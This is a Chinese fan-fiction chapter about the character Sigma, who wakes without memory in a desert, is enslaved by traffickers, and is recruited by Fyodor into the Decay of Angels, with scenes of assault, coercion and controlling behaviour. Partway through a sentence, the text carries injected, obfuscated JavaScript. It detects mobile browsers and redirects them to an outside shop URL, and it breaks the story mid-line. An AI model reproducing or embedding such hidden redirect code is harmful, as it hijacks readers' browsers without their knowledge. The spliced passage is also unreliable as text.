《[文野]记忆碎片》 1. 初始 沙砾被热风卷起,打在裸露的手背上,带着粗糙的灼痛感。 我是在一片无垠的滚烫里睁开眼的。 头顶的太阳像块烧红的烙铁,把天空烤成了一片晃眼的白,连一丝云絮都没有。 身下的沙粒烫得惊人,稍微动一下,就有细密的灼意透过单薄的衣料渗进来。 我坐起身,茫然地环顾四周,入目所及,只有连绵起伏的沙丘,像沉睡的巨兽,一直铺展到视线的尽头。 风掠过沙丘的脊背,发出呜咽似的声响,那声音空旷得可怕,像是要把人吞进去。 我是谁? 这个念头刚冒出来,就撞在一片空白的意识里,撞得生疼。 没有过往,没有来路,连自己的名字都像被风沙磨碎了,散在空气里,抓不住一丝痕迹。 我只是……一个“存在”,孤零零地立在这片死寂的沙漠里。 指尖忽然触到一个硬硬的东西。低头看去,掌心躺着一张皱巴巴的车票,边缘被风沙磨得毛糙,上面印着一个陌生的地名,字迹却清晰得刺眼。 可我搜遍了空荡荡的意识,也想不起这个地方在哪里,更不知道这张车票,是要带我去往何处。 它是我和“过去”唯一的联系,哪怕那联系虚无得像个笑话。 我攥紧了车票,纸页的褶皱硌着掌心,带来一点微末的实感。 风又吹过来了,带着沙粒,迷了我的眼。 眼泪不受控制地涌出来,不是因为疼,也不是因为怕,而是因为一种巨大的、无措的空洞。 我像一粒被风随意抛洒的沙,不知道自己从哪里来,也不知道要往哪里去。 为什么会在这里? 我试着站起身,脚下的沙绵软得可怕,每走一步,都要陷下去半分,再拔出来时,脚踝已经灌满了滚烫的沙。 太阳越来越烈,晒得头晕目眩,喉咙干得像是要裂开。 我开始漫无目的地往前走,朝着一个看起来稍微低缓些的沙丘走去。 我不知道那里有什么,或许什么都没有,但我不能停在原地。 停在原地,就意味着要被这片空白的绝望彻底吞噬。 那张车票被我紧紧攥在手心,汗湿的指尖把字迹洇得有些模糊。 不存在的地点……或许,这张车票本身,就是我存在的唯一凭据。 哪怕它指向的是一个虚无的终点,也好过让我像这样,悬浮在一片没有过去、没有未来的荒漠里。 风又起了,卷起的沙粒打在脸上,有点疼。我抬手抹了把脸,摸到一手的沙砾和湿凉的泪。 至少,我还能感觉到疼。 至少,我还握着这张车票。 这就够了。 我低下头,看着脚下被踩出的浅浅脚印,一步一步,朝着那片无垠的沙海深处走去。 —————— 沙砾被热风卷得滚烫,贴在脚踝上灼得人生疼。 她在这片无垠的沙海里已经徘徊了三天。 没有记忆,没有来处,掌心只攥着一张印着陌生地名的车票。 她想给自己取个名字,可却想不到合适的字。 直到某个干渴到极致的黄昏,一个符号突兀地撞进脑海——∑,数学里的求和符号。 “西格玛……”她哑着嗓子念出声,尾音被风沙吞掉。 明明什么都不记得,偏偏知道这个符号的意思,真是荒谬。 可当这个名字落进心底时,空茫的胸腔里忽然生出一丝微弱的锚点。 有了名字,就有了开始。 这三天里,白日的太阳毒得能烤化皮肤,西格玛把破烂的衣角扯下来遮住脸,依旧被晒得头晕眼花。 夜晚的沙漠又冷得刺骨,她蜷缩在沙丘背风处,听着风啸声,饿得胃袋一阵阵抽搐。 双色的长发早已散乱,半白半紫的发丝沾着沙粒,狼狈得像被遗弃的娃娃。 可即便如此,那张脸依旧难掩秀美,眉眼精致得像是精心雕琢的瓷器,只是此刻染上了太多的惶惑与脆弱。 第三天午后,地平线上终于晃过了人影。 西格玛几乎是跌撞着扑过去的,干裂的嘴唇张了张,还没来得及发出声音,就被人狠狠按在了沙地上。 粗糙的麻绳勒进手腕,疼得她浑身发抖。 那是一伙人贩子商团。 “这模样,能卖个好价钱。” 有人粗声粗气地议论,脏污的手指擦过她的脸颊。 西格玛拼命挣扎,换来的却是更粗暴的束缚。她被扔进铁笼里,和一群同样麻木的人挤在一起,铁笼的轮子碾过沙砾,发出咯吱的声响,像是在碾碎她最后一丝希望。 商团的头目是个满脸横肉的男人,他捏着西格玛的下巴,迫使她抬头。 拇指用力掐着她的下颌骨,眼神里的贪婪像毒蛇,黏腻地爬过她的眉眼:“长得真不错,比那些货色强多了。” 腥臭的烟草气息扑面而来,西格玛浑身的血液都凉了。 她被男人粗暴地拽出铁笼,纤细的手臂被攥得生疼,骨头像是要被捏碎。 男人的掌心布满老茧和伤痕,带着沙漠烈日炙烤后的滚烫温度,像一块烧红的烙铁,烫得西格玛浑身发颤。 “别碰我!”西格玛的声音嘶哑破碎,带着极致的恐惧,她拼命扭动身体,试图挣脱男人的钳制。 男人被她的挣扎惹得不耐烦,粗哑地骂了一句,另一只手猛地揪住她的衣领,粗糙的指尖带着恶意摩挲着她的脖颈,指腹蹭过脆弱的皮肤,留下火辣辣的痛感。 他的力道越来越大,布料被扯得发出刺耳的声响,眼看就要撕裂她仅有的衣衫。 恐惧像冰冷的潮水,瞬间将西格玛彻底淹没。 她能闻到男人身上浓重的汗味、烟草味,还有一丝若有若无的血腥气,这些气味交织在一起,像一张密不透风的网,将她牢牢困住。 西格玛的心脏狂跳不止,几乎要冲破胸腔,脑海里只剩下一个念头:逃,一定要逃出去! 西格玛拼尽全力挣扎,指尖慌乱地抓挠着,指甲在男人的手臂上划出几道血痕,却只换来对方更凶狠的咒骂。 混乱中,她的指尖无意间触碰到了男人的手腕。 就在那一瞬间,一股奇异的电流窜过四肢百骸。 西格玛的脑海里骤然涌入无数杂乱的信息,商团藏在西边岩石后的水囊和干粮、转手奴隶的暗语、还有男人藏在靴筒里的那把淬了毒的匕首,甚至还有他最忌惮的沙漠盗匪巢穴位置。 而男人的动作也骤然停住,他愣了愣,眼神里闪过一丝茫然,随即瞳孔猛地收缩,爆发出近乎癫狂的狂喜。 他一把揪起西格玛的头发,迫使她看着自己,声音因为激动而沙哑:“你……你刚才怎么知道我靴子里有匕首?!还有西边的藏货点——你是怎么知道的?!” 西格玛的脸色瞬间惨白,指尖控制不住地发抖。 这就是她的异能力,肢体接触的瞬间,双向交换“对方脑里自己最想要的信息”与“自己脑里对方最想要的信息”。 在极致的恐惧下,西格玛下意识的使用出了自己的异能。 她刚才拼尽全力想要知道的是“如何从这个男人手里逃走”,而男人最想知道的,恰恰是“谁能发现他藏得最深的秘密”。 那些她无意间读取到的信息,正是男人最忌惮被人知晓的底牌。 男人掐着她的脖子,将她抵在滚烫的铁笼上,力道大得几乎要捏碎她的喉骨,浑浊的眼睛里满是贪婪与狠戾:“说!你是不是异能者?!这是什么能力?!快说!” 西格玛的喉咙被扼得生疼,她看着男人眼底的狠戾,第一次明白,美貌和这突如其来的能力,不是救赎,是祸根。 在那之后,她被迫跟着商团辗转,帮他们打探消息,帮他们避开巡逻的兵队,帮他们完成一笔笔肮脏的交易。 西格玛的手被铐着,铁链拖在地上,每走一步都带着沉重的声响。 她不是没想过逃。 趁着商团宿醉的深夜,她撬开手铐,赤着脚冲进沙漠,沙砾磨破了脚底,血珠渗出来,和沙子黏在一起。 可没跑多远,就被追上来的人贩子按在地上,换来的是更严密的看守。 后来,西格玛又逃了无数次。 有时遇到看似温和的人,笑着对她说“我会帮你”,可指尖相触的瞬间,西格玛就从对方的脑海里读到了利用与算计。 有时被人用枪抵着太阳穴,冰冷的枪口贴着皮肤,逼她去窃取更隐秘的情报。 那些人,无论态度是温和还是凶狠,目的都一样,榨干她的异能力。 更可怕的是,每当她失去利用价值,对方脑海里第一个冒出来的念头,永远是“杀了她,免得留下后患”。 一次又一次的背叛,一次又一次的濒死。 西格玛的眼底渐渐褪去了惶惑,只剩下一片死寂的荒芜。 她不再挣扎,不再说话,只是沉默地缩在角落,半白半紫的发丝垂下来,遮住了眉眼。 她知道的太多了,那些肮脏的交易,那些阴狠的算计,那些藏在人心底最深处的恶意。 可知道得越多,就越绝望。 沙漠的风依旧在吹,卷起沙粒,打在脸上生疼。 西格玛低头看着自己的手,手腕上的铐痕层层叠叠。 她终于明白,这世间没有什么救赎。 她什么都没有,没有记忆,没有归处,没有名字的由来。 她只有自己。 —————— 西格玛再一次拼尽全力逃跑了。 粗糙的沙砾蹭破了她的脚踝,渗出血珠,和滚烫的沙粒黏在一起,疼得钻心。 她赤着脚在无垠的沙漠里奔跑了很久很久,身后追逐的脚步声早已被风沙吞没。 可她不敢停下,胸腔里的心脏跳得快要炸开,每一次呼吸都带着灼人的热气,喉咙干涩得像是要裂开。 不知跑了多久,视线尽头终于出现了一点模糊的影子。 那是一间破败的教堂。 墙体早已斑驳不堪,彩色玻璃碎了大半,露出黑洞洞的窗口,像濒死者空洞的眼。 西格玛踉跄着冲进去,反手抵住摇摇欲坠的木门,身体顺着门板滑落在地,大口大口地喘着粗气。 半白半紫的发丝凌乱地贴在汗湿的脸颊上,她蜷缩着身子,双手紧紧抱住膝盖,眼底满是惊魂未定的惶恐。 这里是沙漠深处,怎么会有教堂?可她顾不上细想,只盼着能借着这残垣断壁,躲过片刻的追捕。 就在这时,身后传来一声极轻的、靴底碾过碎石的声响。 西格玛的身体猛地僵住,血液几乎在瞬间凝固。她缓缓转过身,抬头望去。 一个穿着锃亮黑靴的男人,正静静站在教堂内侧的大门前。 他身形颀长,黑色的衣袍在沙漠的热风里微微晃动,一顶白色的帽子盖在半长的黑发上,帽檐压得不算低,恰好露出一张苍白俊美的脸,肤色是常年不见日光的冷白,衬得唇色愈发浅淡。 一双紫罗兰色的眼眸,像浸在寒潭里的宝石,深邃、清冷,却又带着一种近乎蛊惑的温柔,正一眨不眨地望着她。 风卷着沙粒吹进教堂,拂过男人的衣摆,也吹起西格玛额前的碎发。 四目相对的刹那,西格玛下意识地往后缩了缩,攥紧了满是破洞的衣角,眼底的恐惧几乎要溢出来。 男人没有靠近,只是微微歪了歪头,目光落在她渗着血的脚踝上,又缓缓移到她苍白的脸上。 他的视线很轻,不像那些人贩子贪婪的打量,也不像那些利用者冰冷的权衡,反倒带着一丝不易察觉的、近乎怜惜的意味。 沉默在空旷的教堂里蔓延,只有风声在耳边呼啸。 终于,男人开口了。 他的声音低沉悦耳,像大提琴的弦音,裹着沙漠夜风的微凉,却奇异地抚平了西格玛紧绷的神经。 “你,想要个家吗?” 一句话,轻飘飘的,却像一道惊雷,在西格玛的心底炸开。 家? 这个词对她而言,太过遥远,太过奢侈。 她从出生起就漂泊在沙漠,被追捕,被利用,被抛弃,从来没有过一个可以称之为“家”的地方。 她攥着那张印着不存在地名的车票,辗转流离,所求的不过是一片能让她安稳落脚的净土。 男人似乎看穿了她的心思,紫罗兰色的眼眸里闪过一丝极淡的笑意,那笑意不是嘲讽,也不是算计,反倒带着几分同病相怜的温柔。 他往前迈了一步,靴底踩在碎裂的玻璃上,发出清脆的声响。 “一个真正属于你的地方,” 他的声音放得更轻了些,像在诱哄一只受惊的幼兽,“不会有人再追捕你,不会有人再利用你,你可以成为那里的主人。” 西格玛怔怔地望着他,眼眶微微泛红。 她见过太多带着伪善面具的人,那些人也曾对她说过类似的话,可最终换来的,只有更深的背叛与利用。 可眼前这个男人,他的眼神太真诚了。 那双紫罗兰色的眼眸里,盛着她看不懂的深邃,却又隐约透着一丝不易察觉的好感,那是一种对同类的认同,对孤独者的悲悯,是她从未在别人眼中见过的东西。 风穿过教堂的穹顶,卷起尘埃,在光柱里飞舞。 西格玛看着男人一步步走近,看着他伸出手,掌心干净而温暖,仿佛真的能托起她漂泊无依的灵魂。 “我叫费奥多尔·米哈伊洛维奇·陀思妥耶夫斯基。” 费奥多尔说着,伸出的手停在离她发梢寸许的地方,没有落下,语气里裹着恰到好处的温和,“如果你愿意,我可以给你一个家。” 西格玛望着费奥多尔悬在半空的手,掌心在沙漠的酷热里泛着一点浅淡的凉意。 “家”这个词像一根细针,轻轻刺破了她紧绷的神经,泪水毫无预兆地滚落,砸在布满沙砾的手背上,带来一阵微痒的疼。 她迟疑了很久,指尖微微蜷缩,又缓缓展开。 身后是无尽的沙漠与永无止境的追捕,身前是这个眼神深邃的男人,和他口中那个遥不可及的承诺。 最终,她还是将手搭了上去。 不是因为信任,只是因为走投无路。 费奥多尔的手很稳,力道恰到好处,既不会让她觉得被束缚,又能稳稳地牵着她往前走。 他的步伐从容不迫,白色的袖缘被风卷起,露出一截苍白的手腕。 西格玛亦步亦趋地跟着,目光落在两人交握的手上,心脏却没有半分暖意。 她见过太多这样的人了,用温柔的语调说着动听的话,将她哄骗到手,再榨干她所有的价值。 眼前这个男人,眉眼间的温和太过完美,完美得像一张精心绘制的面具。 西格玛悄悄收紧指尖,异能蛰伏在皮肤之下,只要再靠近一分,再触碰一秒,就能交换到他心底最深处的秘密。 可她没有动。 她的经历教会她,知道得越多,死得越快。 更何况,这个男人的眼睛里藏着太深的东西,深到让她本能地畏惧。 费奥多尔似乎察觉到她的紧绷,脚步微微放缓,侧过头看她。 紫罗兰色的眼眸,敛着一抹冷而静的光,像月光下的潭水。 “别怕。”他轻声说,语气里带着近乎温柔的柔和,“不会有人再伤害你了。” 西格玛没有应声,只是垂着眸,目光落在脚下被日光晒得发烫的沙砾上,一步步跟着他,走向全然未知的远方。 她不信。 这世间所有的“不会”,都是尚未发生的“将会”。 两人踩着沙漠里最后几缕昏黄的日光往前走。 天边的橘红正一点点褪去,像是被沙海吸干了最后一丝暖意。 暮色自地平线漫上来,将澄澈的天染成深浅不一的黛色。 越走,周遭的光线便越暗。 最后一丝余晖也被无垠的沙海吞没,连带着远处沙丘的轮廓,都模糊成了一片黯淡的剪影。 两人都没有言语,只是沉默的行走着。 西格玛因为赤脚在沙漠中奔跑,脚底已经布满了血液和沙子的混合物,每一步落下都带着细碎的刺痛。 费奥多尔的步调悄然放慢,调整着步频与她保持一致,黑色的披风擦过沙面,扬起细碎的沙粒。 浓稠的黑暗紧跟着漫过来,先是漫过脚踝,带着沙砾的微凉,再往上,凉意裹挟着肌肤,最后彻底漫上视线。 天地间只剩下一片沉沉的黑,连风掠过的声响,都变得模糊不清。 他们坐上一辆黑色的轿车,费奥多尔在弯腰落座的瞬间,便不动声色地松开了握着她的手,指尖自然地垂落在身侧。 车辆行驶在茫茫夜色中,车灯劈开浓墨般的黑暗,又被无边无际的沙海吞没。 车内很安静,只有引擎轻微的轰鸣,在密闭的空间里低低回荡。 费奥多尔没有追问她的过往,也没有试图打探她的异能,只是偶尔递过一瓶水,指尖刻意避开了她的皮肤。 这个细节让西格玛微微一愣。 过往那些想要利用她的人,无一不是想方设法地触碰她,贪婪地攫取着她异能带来的情报。 可这个男人,却在刻意保持距离。 是不屑?还是另有图谋? 西格玛靠在车窗上,看着窗外飞逝的黑暗,心底疑云密布。 她攥紧了口袋里那张皱巴巴的车票,那是她唯一的念想,也是她最后的防线。 不知过了多久,轿车驶入一处隐蔽的山谷。 眼前是一座低调的建筑群,外围围着高耸的围墙,门口的守卫穿着黑色制服,见到费奥多尔,便恭敬地低头行礼。 这里就是他的安全屋,像一座与世隔绝的堡垒,透着森严与神秘。 费奥多尔牵着她穿过几条铺着地毯的走廊,最终停在一间书房门前。 推开门,暖黄的灯光倾泻而出,驱散了夜的寒意。 房间布置得简洁雅致,书桌上堆满了书籍与文件,墙上挂着一张标注着红色记号的地图。 “坐吧。”费奥多尔松开手,走到书桌后坐下,指了指对面的椅子。 西格玛依言坐下,双手紧紧攥着膝盖上的衣摆。 她能感觉到,这里的空气里,弥漫着一种无形的压力。 费奥多尔没有绕弯子,开门见山。 他提起了“书”,提起了那个能改写现实的奇迹,也提起了她的来历——她是由“书”创造的存在,无根无萍,生来就是为了填补某段空白。 西格玛的指尖猛地一颤。 她从未听过这些,可心底却有一个声音在告诉她,他说的是真的。 接着,费奥多尔缓缓道出了他的计划。 他的声音低沉而平静,却带着一种蛊惑人心的力量。 他要颠覆这个腐朽的世界,清除那些滋生罪恶的根源,用“书”的力量,建立一个全新的秩序。 “而你的异能,”费奥多尔抬眼看向她,紫罗兰色的眼眸里闪烁着锐利的光,“是完成这个计划的关键。” 西格玛的心沉了下去。 果然,还是为了她的异能。 他说,他可以给她一个家,一个真正属于她的地方,让她不再漂泊,不再被利用。 他说,加入他们,她会拥有同伴,拥有目标,拥有活下去的意义。 他的话很美,美得像一个精心编织的梦。 可西格玛只是低着头,长长的睫毛遮住了眼底的冰冷。 家?同伴?意义? 这些东西,她早就不奢求了。 从苏醒以来,她被人贩子掳走,被□□利用,被无数人当成工具,早就明白了一个道理。 这世上没有免费的午餐,所有的馈赠,都在暗中标好了价格。 眼前这个男人,不过是想将她纳入麾下,成为他计划里的一枚棋子。 费奥多尔似乎看穿了她的心思,却没有点破。 他只是轻轻笑了笑,语气依旧温和:“我知道你不信。没关系,时间会证明一切。” 他顿了顿,缓缓吐出四个字:“天人五衰。” “这是我们组织的名字。” 费奥多尔看着她,目光郑重,“如果你愿意,就加入我们。这里不会有人强迫你做什么,你可以拥有自己的权力,自己的领地。” 西格玛抬起头,对上他的目光。那双紫罗兰色的眼眸里,没有贪婪,没有算计,只有一片深不见底的平静。 她沉默了很久。 她知道,拒绝的下场,或许是死,或许是再次被抛弃,重新回到那个暗无天日的深渊。 而答应,至少能换来暂时的安稳,一个遮风挡雨的地方。 至于信任? 她早就不会相信任何人了。包括这个说要给她一个家的男人。 她攥紧的手指缓缓松开,声音沙哑,却带着一种破釜沉舟的冷静:“我加入。” 费奥多尔的嘴角勾起一抹浅淡的笑意,像是意料之中,又像是带着几分真切的愉悦。 他伸出手,这一次,没有触碰她的皮肤,只是隔空轻轻一握。 “欢迎你,西格玛。” “欢迎加入天人五衰。” 西格玛看着他的动作,心底的防线没有半分松懈。 她知道,从这一刻起,她不过是换了一个牢笼。 而这个牢笼的主人,比以往任何一个,都要深不可测。 —————— 在费奥多尔的安排下,西格玛在这所近乎堡垒一般的安全屋里,有了一间属于自己的房间。 也是在这里,她第一次用上了热水洗澡。 温热的水流裹住身体的瞬间,疲惫仿佛被尽数冲刷而去,舒服得让她忍不住微微眯起眼。 洗完澡出来时,西格玛的脸颊泛着一层淡淡的红晕,连带着耳尖都变成了粉色。 她身上穿着费奥多尔让人送来的衣服,料子是柔软的棉质,带着阳光晒过的干净气息,衣摆在她腰间晃荡着,显得格外宽大,袖摆更是长了一大截。 有干净的衣服穿,西格玛已经很满意了。 但费奥多尔并不满意。 刚坐到床边,费奥多尔便推门走了进来,手里还端着一只小巧的木盒,里面盛着药膏。 他目光扫过西格玛身上晃荡的衣料,眉头几不可查地蹙了一下。 “我自己来就好。” 西格玛下意识往后缩了缩脚,声音细弱得像根绷紧的弦。 她看着他走近,那双紫罗兰色的眼眸平静无波,却无端让她心底发寒。 指尖微微蜷缩,想把脚收回来,却又硬生生僵住了。 她不敢拒绝。 费奥多尔像是没听见她的话一般,自顾自蹲下身,骨节分明的手指轻轻握住了她的脚踝。 他的指尖微凉,触碰到皮肤的刹那,西格玛猛地一颤,浑身的汗毛都险些竖起来。 他动作很轻,却带着一种不容置喙的掌控力,拇指轻轻拂过她脚底混着血痂的伤口,力道拿捏得恰到好处,既不会太疼,又能将药膏均匀地涂开。 而后,他的目光落在她的手腕上。 那圈被手铐勒出的淤青还未褪去,纤细的手腕上叠加着一道又一道的伤痕,狰狞地印在白皙的肌肤上,格外刺眼。 费奥多尔抬手拉起她的手腕,指腹蹭过伤痕边缘,动作细致得近乎慢条斯理。 指尖擦过那片伤痕时,西格玛又是一颤,像被烫到似的。 她垂着头,长长的睫毛剧烈地颤抖着,视线死死盯着自己的膝盖,连呼吸都放得极轻,生怕惹得他不快。 费奥多尔的目光落在她紧绷的侧脸和微微发颤的眼睫上,眼底漫过一丝极淡的笑意。 他享受这种感觉。 享受她明明怕得厉害,连呼吸都放轻了,却只能乖乖坐在原地,连躲闪都不敢的模样。 这份小心翼翼的顺从,像极了落入蛛网的蝴蝶,挣扎不得,只能任由他掌控。 掌控感像温水般漫过四肢百骸,让费奥多尔眼底的笑意又深了几分,连指尖的动作,都染上了几分漫不经心的愉悦。 西格玛垂着头,视线死死盯着自己交叠的膝盖,心脏跳得快要撞碎肋骨。 药膏的清凉一点点渗入伤口,缓解了灼人的痛感,可西格玛却觉得浑身都在发烫,连耳根都染上了一层薄红,那是被恐惧逼出来的血色。 她能清晰地感受到他的目光落在自己身上,带着一种审视猎物般的意味,让她连抬头的勇气都没有。 直到费奥多尔终于收了手,将木盒放在一旁,西格玛才像是脱力般,悄悄松了口气,后背的衣料早已被冷汗浸湿。 药膏涂抹完毕,费奥多尔将木盒搁在床头柜上,起身时目光再度掠过她宽大的衣摆,淡声道:“衣服不合身,得重新准备。” 不等西格玛应声,他已经转身从衣柜里翻出一卷软尺,冰凉的尺面泛着哑光。 “为了知晓你的尺码,需要测量一下。” 他的语气平淡,却带着不容置疑的意味,不容她拒绝便走近了。 西格玛的身体瞬间绷紧,连呼吸都滞了半拍。 他的脚步声轻得几乎听不见,却像重锤般敲在她的心上。 西格玛甚至能感受到那道微凉的视线,落在自己僵硬的后颈上,只能攥紧了掌心的布料,顺从地缓缓站起身来。 费奥多尔站在她身后,带着微凉气息的胸膛,几乎要贴上西格玛的脊背。 她能清晰地闻到他身上淡淡的书卷气,杂着一丝若有若无的茶香。 软尺绕过她的肩头时,西格玛的肩膀不受控地瑟缩了一下,却被他轻轻按住了肩胛骨,力道不重,却足够让她无法动弹。 “放松。” 费奥多尔的声音就在耳畔,低沉的声线像羽毛般划过耳廓,让西格玛的汗毛立起。 软尺沿着肩线轻轻贴合,精准地量出肩宽,而后缓缓下移,滑过她的腰侧时,他的手指轻轻压着软尺的一端,微微收紧。 布料下的腰线被清晰地勾勒出来,纤细得仿佛一折就断。 西格玛下意识地含胸,脊背微微弓起,恨不得将自己缩成一团。 这份过于亲密的触碰让她浑身都泛起细密的战栗,连指尖都在微微发颤。 软尺很快移到了胸口,费奥多尔的指尖隔着布料轻轻抵着尺面,声音依旧平静无波,却带着一种奇异的蛊惑力:“请将背挺直。” 西格玛的睫毛抖得更厉害了,却还是下意识地遵从了他的指令,僵硬地挺直了脊背。 “不需要为此感到羞怯。”费奥多尔的声音低了些,尾音里似乎漫过一丝极淡的笑意,“您的身材非常好。” 西格玛一怔。 这是在夸赞自己吗? 她的指尖蜷缩起来,攥住了宽大的衣摆,心脏却像是被一只冰冷的手攥住了。 这哪里是什么夸赞,分明是猎人打量猎物时,带着满意的口吻,称赞那一身皮毛足够柔顺华美。 一股寒意顺着脊椎爬上后颈,连带着四肢百骸都泛起了细密的战栗。 她垂着头,看着地板上交错的光影,眼底的那点微不可察的慌乱,被更深的恐惧淹没。 也是从那天起,费奥多尔开始教导西格玛俄语。 哪怕西格玛对这个世界一无所知,却通晓作为国际通用语的英语。 她既能流利地说,也能工整地书写,流畅得像是刻在骨髓里的本能。 但她不会俄罗斯语。 那些拗口的音节,繁复的语法,于她而言,是全然陌生的领域。 费奥多尔亲自教她。 白天的安全屋总是很安静,只有阳光透过厚重的窗帘缝隙,在地板上投下斑驳的光影。 没有课本,没有教具,只有他手写的单词卡片,和他低沉平缓的声线。 费奥多尔教的第一个单词,是他的名字——Фёдор。 西格玛坐在书桌前,面前摊着费奥多尔亲手写的单词卡片。 她跟着他念,舌尖笨拙地抵着口腔内壁,一遍遍模仿着那个带着俄语特有的厚重感音节。 费奥多尔就坐在她对面的沙发上,翻看着一本厚重的俄文书籍,指尖轻轻敲着书页,发出规律的轻响。 “再来一遍。”他的目光没有离开书页,声音却精准地捕捉到她发音里的瑕疵,“Фёдор,重音在第二个音节。” 西格玛抿了抿唇,深吸一口气,又一次开口:“Фёдор。” 这一次的发音标准了许多,带着一丝不易察觉的柔缓。 费奥多尔抬眼,紫罗兰色的眸子里掠过一丝极淡的赞许:“很好。” ——费奥多尔名字的含义,是上帝的赠礼。 而眼前的西格玛,恰似上帝赠送给他的礼物。 费奥多尔嘴角的浅笑深了深。 她写的第一个单词,也是他的名字。 笔尖划过纸面,留下歪歪扭扭的字母,却一笔一划,格外的认真。 费奥多尔继续翻着一本厚重的俄文旧书,偶尔抬眼,目光落在西格玛写满字母的练习本上。 那紫罗兰色的眸子里,盛着她读不懂的深意。 几天后,西格玛已经渐渐熟悉了安全屋的生活,也能熟练地完成费奥多尔交代的工作。 她格外喜欢洗澡的时刻。 只有当温热的水流漫过身体时,那些盘踞在心底的紧张与不安,才会暂时褪去。 这是她在这座牢笼般的安全屋里,难得能寻到的片刻轻松。 水汽氤氲的浴室里,瓷砖墙面蒙着一层薄薄的白雾,暖融融的光晕漫过每一寸角落。 温热的水流顺着西格玛半白半紫的发丝滑落,滴落在锁骨的肌肤上,晕开细碎的水痕,又顺应流畅的曲线蜿蜒而下,没入氤氲的水汽里。 西格玛闭眼感受着花洒喷洒的水划过身体,水温暖洋洋的,就像泡在羊水里一样。 身上的泡沫被水流一点点冲散,化作乳白色的水痕,顺着肌肤缓缓淌入地漏。 西格玛睁开眼,抹去脸上的水渍,从一旁拿起毛巾擦拭头发。 与此同时,果戈里正在安全屋的走廊里走着,自打费奥多尔提起组织里来了位新成员,他那颗追求趣味与刺激的心就按捺不住了。 路过浴室时,听见里面传来的水声,一个恶作剧的念头便在他脑海里炸开。 不如就这么闯进去,看看这位新同伴会是怎样一副失态模样。 小丑向来想到就做。 西格玛正拿着毛巾擦拭湿发,耳畔却毫无预兆地响起一阵轻快的脚步声。 她下意识地抬眼,望向身侧的镜子。 镜中赫然映出一道突兀的身影。 那人顶着一头蓬松的白发,面容俊美,右脸带着像扑克牌一样的面具,露出的左眼带着一道伤疤,银色的眼眸带着十字伤痕,嘴角勾着一个夸张的笑容。 身着类似小丑或魔术师的黑白服装,披风随着他的动作微微晃动,礼帽稳稳地扣在发顶,棕色皮革手套覆在骨节分明的手上。 胸前的衣襟与发尾的麻花辫上,都缀着圆润的棕色绒球,在冷硬的装束里,添了几分不合时宜的滑稽。 果戈里正歪着头,饶有兴致地打量着她,目光扫过她滴水的发梢,掠过她裸露的肩头与流畅的脊背,眼底的戏谑更浓了几分。 “呀——” 一声极轻的惊呼声从西格玛唇边溢出, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193616|197107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她握着毛巾的手猛地收紧,身体不由自主地往后退了半步,背脊撞上冰凉的瓷砖,心跳瞬间漏了一拍。 这人是谁?是怎么闯进来的?安全屋的守卫呢?无数个念头在她脑海里炸开,让她一时间有些慌乱。 可转念间,眼前人的形象,让西格玛想起费奥多尔曾提过的名字。 天人五衰的同伴,果戈里。 紧绷的神经稍稍松懈下来,西格玛稳住呼吸,看着对方歪着头,饶有兴致地打量着自己的模样,没有丝毫被冒犯的羞赧。 自诞生于沙漠起,她经历的尽是被追捕、被利用的颠沛流离,那些世俗的羞怯与矜持,早在一次次的生死挣扎里被磨得干干净净。 她此刻的慌乱,不过是源于对方毫无征兆的闯入。 “你好。” 西格玛的声音还带着一丝未平的轻颤,却已经努力维持着礼貌。 她垂下眼睫,避开对方过于灼人的视线,伸手拿起一旁的衣物,动作利落地往身上套。 柔软的布料掠过肌肤,遮住了那些被水汽浸润的、曼妙的曲线。 整个过程里,她始终安静而从容,没有质问,没有恼怒,甚至连多余的好奇都没有。 布料摩擦过肌肤的声响里,果戈里清脆的笑声响了起来:“真有意思!一点都不惊慌失措,也不恼羞成怒,和我想象中的样子完全不一样!” 他绕着西格玛转了半圈,脚步轻快得像只雀跃的鸟,翠绿色的眼眸里闪烁着孩童般的好奇与狂热:“费奥多尔说的果然没错,你是个很有趣的小家伙!明明刚才吓得眼睛都睁大了,现在却又这么平静——” “哈哈哈——那么,在此提问,我是谁呢?” 西格玛扣好最后一颗衣扣,将微湿的头发拢到耳后,露出光洁的额头与清晰的下颌线。 她抬眼看向他,语气依旧是淡淡的,听不出半分情绪:“你好,果戈里先生。费奥多尔先生和我提过你。” 她的反应太过平淡,既没追问对方闯入的缘由,也没有流露出半分畏惧,这让果戈里愈发觉得新奇。 他见过太多人在自己突然出现时的失态,尖叫、恐惧、愤怒,种种丑态百出,却唯独没见过这样的。 像一株扎根在绝境里的植物,哪怕遭遇骤雨狂风,也只是轻轻晃一晃枝叶,便又挺直了腰杆。 “有趣,实在太有趣了!” 果戈里拍着手,眼底的兴致浓得快要溢出来,他往前凑了半步,披风扫过带着水渍的浴室墙壁,留下一道浅浅的痕迹。 “以后,我们就是同伴啦!真期待和你一起,掀起一场盛大的‘自由’风暴呢!” —————— 自那日浴室的猝然相见后,果戈里就彻彻底底缠上了西格玛。 西格玛实在想不通,自己究竟有什么能吸引到果戈里的地方。 她既没有果戈里所追求的“自由”的狂放,也没有费奥多尔那般深不可测的智谋,不过是个挣扎求生、连过往都没有的漂泊者,一个最普通不过的凡人。 可果戈里偏偏就像是认定了什么新奇的玩具,整日里追着她的脚步,乐此不疲。 他向来是随心所欲的性子,从不会循规蹈矩地敲门,总是带着一身风,毫无征兆地出现在西格玛眼前。 那绝非寻常的潜行,西格玛敏锐地察觉到。 每次果戈里出现时,周身的空气都会泛起一丝极淡的扭曲,像是有什么无形的门被悄然开启又闭合——那是空间系异能的痕迹。 后来她才从费奥多尔口中零星听闻,果戈里的异能可以将身上的斗篷与三十米内的任意地点连接,这就是他总能神出鬼没的缘由。 这份认知,让西格玛心底的恐惧又深了几分。 他的骚扰不分场合,白日里的安宁时刻,也成了他肆意搅扰的领地。 午后的阳光透过窗帘缝隙,在书桌摊开的俄语练习本上投下细碎的光斑。 西格玛正握着笔,一笔一划地临摹着单词,笔尖划过纸面,留下工整了许多的字母。 